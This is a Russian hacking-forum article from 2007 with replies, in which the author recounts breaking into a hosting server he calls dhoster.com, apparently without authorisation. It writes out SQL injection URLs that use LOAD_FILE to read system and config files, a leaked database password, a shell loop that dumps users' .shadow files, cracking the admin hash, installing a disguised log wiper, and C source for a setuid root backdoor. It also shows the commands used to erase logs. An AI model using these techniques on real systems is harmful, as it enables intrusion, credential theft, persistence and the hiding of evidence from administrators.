ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

От sql-injection до root'a
  #1  
Старый 05.03.2007, 19:09
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию От sql-injection до root'a

Название : От sql-injection до root'a
Автор : p-range - AltST
Дата : 5.03.2007


В данной статье я хочу рассказать как я получил нулевые права на одном зарубежном хостинговом сервере.

[Небольшая предыстория]

Как обычно, вечером, я гулял по просторам интернета. Серфил по разным сайтам, и тут наткнулся на один очень интересный сайтец. Это был сайт какого-то зарубежного хостера. Назовем его dhoster.com. Я заметил, что движок самописный и довольно сложный. Очень много функций и скриптов. И как всегда, (это уже наверное вошло в привычку , начал подставлять кривые значения в переменные скриптов, пытаясь найти ошибку.

[Первая зацепка]

Но спустя некоторое время, так ничего и не найдя, я решил покопать глубже. Начал просматривать исходники страниц. И не зря, в сорцах главной страницы меня привлек код на JavaScript примерно следующего содержания:

Код:
<script language='JavaScript' type='text/javascript'>
function openWin(pid)
{
	myWin = open("inc/photo.php?pid="+pid, "displayWindow", "width=40,height=30,status=no,toolbar=no,menubar=no");
}
</script>
Я сразу обратил внимание на строчку "inc/photo.php?pid="+pid и поспешил перейти по адресу http://dhoster.com/inc/photo.php?pid='. Как я и думал, скрипт выплюнул мне ошибку MySQL:

Fatal error: Call to undefined function: mysql_error() in /home/dhoster/public_html/inc/photo.php on line 29

Теперь я начал подбирать правильный запрос к базе данных. В итоге получил строчку такого вида:

http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,3,4,5/*

К сожалению попытка подобрать название таблицы так ни к чему и не привела. Из идеи просмотреть таблицу mysql.user тоже ничего не вышло.
Но тут я решил попробовать прочесть файл /etc/passwd через функцию LOAD_FILE(). К моему удивлению, это сработало, и на странице я увидел содержимое с логинами пользователей сервера.
Так как я знал полный путь до директории с сайтом, то решил попытаться найти файл конфигурации от движка. Мне повезло, и я сразу нашел его В итоге перешел по такому УРЛ:
http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,LOAD_FILE('/home/dhoster/public_html/inc/config.php'),4,5/*

и увидел содержимое config.php

Код:
<?php
$dbhost = 'localhost';
$dbuser = 'dhoster';
$dbpass = 'gfGFd.uhL';
$dbname = 'engine';
?>
[Осматриваемся на сервере]

Я поспешил зайти под текущим логином и паролем на SSH. Как ни странно, пароль подошел

Я начал осматриваться в системе. Сервер крутился на линуксе. Ядро свежее, поэтому поднять свои права в системе с помощью эксплоитов я не мог. Я думал, что делать дальше. Просмотрел содержимое каталога пользователя dhoster, но ничего интересного там не нашел, точнее сначала не заметил.
Я обратил внимание на файл .shadow, лежащий в корне директории пользователя. Выполнив команду cat .shadow, я увидел хэш пароля от ssh моего пользователя.
Предположив, что такие файлы лежат в корневой директории каждого пользователя, я решил попробовать их прочесть. Но для начала решил поискать хистори-файлы на сервере. Для этого выполнил команду на поиск:

find / -type f -name *_history -ls

Просмотрев результаты, я не нашел ничего, что бы могло мне помочь в поднятии прав. Директория /home, где лежали все сайты, которые хостились на этом сервере, была закрыта для чтения.

И тут в моей голове промелькнула одна очень интересная идея. Я вспомнил об одной фиче, позволяющей обходить запрет на чтение файлов из /home.

[Повышаем права]

for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/.shadow; done|more

Ее суть заключается в том, чтобы прочесть с помощью утилиты cat файл /etc/passwd, далее с помощью awk выбрать из него логины в цикл и подставлять как user/.shadow, прочесть его и вывести на экран в постраничном режиме, о чем говорит done|more.

Разумеется, злоумышленники могут читать не только .shadow, но и .htaccess, index.php, а затем уже и includes/config.php и другие файлы с более-менее стандартными именами. Потом, в результате сканирования файлов по ключевым словам, в чужие руки попадают учетные записи. Далее остается только найти подходящее приложение для закачки скрипта.

К примеру, если это CMS, php-шаблоны которой можно править через WEB интерфейс, а исполняемым скриптам позволено что-то закачивать на сервер, то остальное лишь дело техники.

Думаю смысл ясен. Выполнив эту команду, я получил доступ ко всем файлам .shadow в директории /home. Среди них и оказался файл /home/admin/.shadow.
Мне повезло, так как у меня были права на чтение этих файлов. Получив хэш админа, я скормил его джону. Пароль, как оказалось, был не очень сложным, и получив его я поспешил залогиниться под юзером admin.
Подключившись на 22-й порт сервера dhoster.com, я ввел имя пользователя admin и пароль password. Система сообщила мне об удачном входе, и я, убедившись что мои права нулевые, принялся за работу.

[Ставим логвайпер]

Естесственно, теперь мне нужно было позаботиться о том, чтобы админ не смог вычислить что я находился в его системе.

Решено было поставить логвайпер wipe. На мой взгляд неплохой, так как умеет чистить UTMP, WTMP, lastlogs и ACCT файлы.
Слил архив с wipe (http://packetstormsecurity.org/UNIX/penetration/log-wipers/wipe-1.00.tgz) и распаковал в каталог /home/admin/l/. Затем выполнил команду на установку: make linux.
Получив бинарник wipe, скопировал его в /usr/bin/telnef. Папку l/ я потер, дабы не вызывать лишних подозрений. Логвайпер готов к использованию

[Закрепляемся в системе]

Теперь передо мной стояла задача, закрепиться в системе. Я не стал использовать публичные руткиты, ибо админ его спалит при первой же проверке chrootkit'ом. Я написал простенький бэкдор.

Исходный код at.c

Код:
main()
{
setuid(0);
setgid(0);
system("/usr/bin/telnef l admin");
system("/usr/bin/telnef w admin");
system("/usr/bin/telnef u admin");
system("/usr/bin/telnef a admin");
system("/bin/bash");
}
Скомпилировав сорцы в бинарник at, я переместил его в /usr/bin/at и поставил на него суид. Теперь получить рутовые права в системе я мог из любого юзера, запустив /usr/bin/at

Что он делает, думаю, понятно. Бинарник берет рутовые права, затем запускает логвайпер, который я уже установил и бэкдорит тачку.

[Заметаем следы]

Теперь осталось лишь подчистить следы моего пребывания в системе:

[admin@server admin]# /usr/bin/telnef l admin
Patching... Done.
[admin@server admin]# /usr/bin/telnef w admin
Patching... Done.
[admin@server admin]# /usr/bin/telnef u admin
Patching... Done.
[admin@server admin]# /usr/bin/telnef a admin
Patching... Done.

[Заключение]

Если администраторы вашего хостинга считают, что из директории другого клиента, права на которую установлены в "r-x--x--x", нельзя читать файлы, то они заблуждаются. Если они считают, что запрет на чтение, к примеру, "/home", помешает узнать список домашних директорий, то они не знают элементарных вещей.

На сегодня все

P.S. А как все невинно начиналось...

(с) p-range :: AltST

Последний раз редактировалось p-range; 05.03.2007 в 21:27..
 
Ответить с цитированием

  #2  
Старый 05.03.2007, 19:18
Аватар для ShadOS
ShadOS
ы
Регистрация: 11.02.2007
Сообщений: 750
Провел на форуме:
1347723

Репутация: 1477


Отправить сообщение для ShadOS с помощью ICQ
По умолчанию

Если честно - то статья не очень понравилась, ввиду экзотичности ошибки, и ощущения некоторой надуманности (читай научная фантастика). Тем более таких статей уже полно. Хотя awk и sql ты пользоваться умеешь За старания +. Хотелось бы увидеть ссылку на wipe и исправление "линуксс" на "линукс". А ещё неплохо было бы указать версию ядра.
__________________
..когда же кто-нибудь выпустит MD5(Unix) брутер на GPU.... жду....

Последний раз редактировалось ShadOS; 05.03.2007 в 19:23..
 
Ответить с цитированием

  #3  
Старый 05.03.2007, 19:22
Аватар для gcc
gcc
Участник форума
Регистрация: 27.01.2007
Сообщений: 118
Провел на форуме:
333575

Репутация: 44
По умолчанию

p-range respect, фича с чтением директорий с правами x известная, но не всеми админами поправленная =))
 
Ответить с цитированием

  #4  
Старый 08.03.2007, 03:39
Аватар для Elekt
Elekt
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме:
4839935

Репутация: 1202


Отправить сообщение для Elekt с помощью ICQ
По умолчанию

Цитата:
ибо админ его спалит при первой же проверке chrootkit'ом
Скомпилировав сорцы в бинарник at, я переместил его в /usr/bin/at и поставил на него суид.
не могу не придраться: проверка на суиды является базовой для антируткитов\ids и прочего подобного софта.
 
Ответить с цитированием

  #5  
Старый 12.03.2007, 17:27
Аватар для ssk.ex0.uf0
ssk.ex0.uf0
Познающий
Регистрация: 27.02.2007
Сообщений: 89
Провел на форуме:
1141192

Репутация: 195
Отправить сообщение для ssk.ex0.uf0 с помощью ICQ
По умолчанию

А мне про фичу поравилось) незнал)
за статью спасибо + в репу полюбому)
 
Ответить с цитированием

  #6  
Старый 14.03.2007, 19:28
Аватар для p-range
p-range
Участник форума
Регистрация: 05.02.2006
Сообщений: 168
Провел на форуме:
749524

Репутация: 715
Отправить сообщение для p-range с помощью ICQ
По умолчанию

Спасибо за критику. На самом деле об этой фиче я знаю давно, но уже не помню где узнал, и, по крайней мере нигде больше не встречал. В этой статье решил показать на примере как ее можно использовать.
Надеюсь кто-то узнал для себя что-то новое =)
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ